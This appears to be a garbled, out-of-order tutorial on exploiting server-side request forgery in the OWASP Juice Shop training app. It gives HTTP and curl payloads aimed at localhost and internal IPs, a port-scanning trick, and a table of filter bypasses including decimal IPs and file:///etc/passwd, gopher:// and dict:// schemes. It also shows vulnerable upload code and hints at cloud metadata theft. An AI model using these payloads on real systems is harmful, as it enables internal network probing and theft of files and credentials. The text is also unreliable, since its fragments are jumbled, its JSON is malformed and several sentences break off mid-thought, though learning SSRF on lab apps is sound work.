Juice Shop Ssrf -

POST /api/image/uploads HTTP/1.1 Host: juice-shop.local Content-Type: application/json "url": "http://localhost:3000/some/path"

"url": "http://10.0.0.1:22" A fast "Connection refused" means port closed. A timeout or slow response means open. If the request library supports file:// :

| Defense | Bypass Technique | |---------|------------------| | Block localhost | Use 127.0.0.1 , 0.0.0.0 , [::1] , or localhost.me | | Block IP addresses | Use decimal IP: http://2130706433/ (for 127.0.0.1) | | Block internal subnets | Register a domain internal.yourlab.com that resolves to 10.0.0.1 | | Protocol restriction ( http:// only) | Use file:///etc/passwd or gopher:// or dict:// | The specific Juice Shop SSRF challenge requires you to fetch an image from a non-existent internal service to trigger an error message containing a flag. juice shop ssrf

For defenders, the lesson is clear: . Validate the destination as if your internal network depends on it—because it does. This article is for educational purposes. Always test on systems you own or have explicit permission to test.

(Note: Exact path varies by version; check the challenge description in Juice Shop). SSRF is rarely an end in itself. In Juice Shop, it's a proof-of-concept, but in real systems, combine SSRF with other vulnerabilities: 1. Cloud Metadata Extraction If Juice Shop were deployed on AWS with a misconfigured IMDSv1: POST /api/image/uploads HTTP/1

// Vulnerable code example (simplified from Juice Shop source) app.post('/api/image/uploads', (req, res) => const imageUrl = req.body.url; // No validation of the URL scheme or domain request.get(imageUrl, (error, response, body) => if (error) res.status(400).send('Failed to fetch image'); else // Process the image... res.send('Image uploaded');

POST /api/ImageUploads

curl -X POST https://juice-shop.local/api/image/uploads \ -H "Content-Type: application/json" \ -d '"url": "http://localhost:3000/this/file/does/not/exist"' Because the server makes the request, the error response might reveal internal paths, but the actual flag is obtained by pointing to: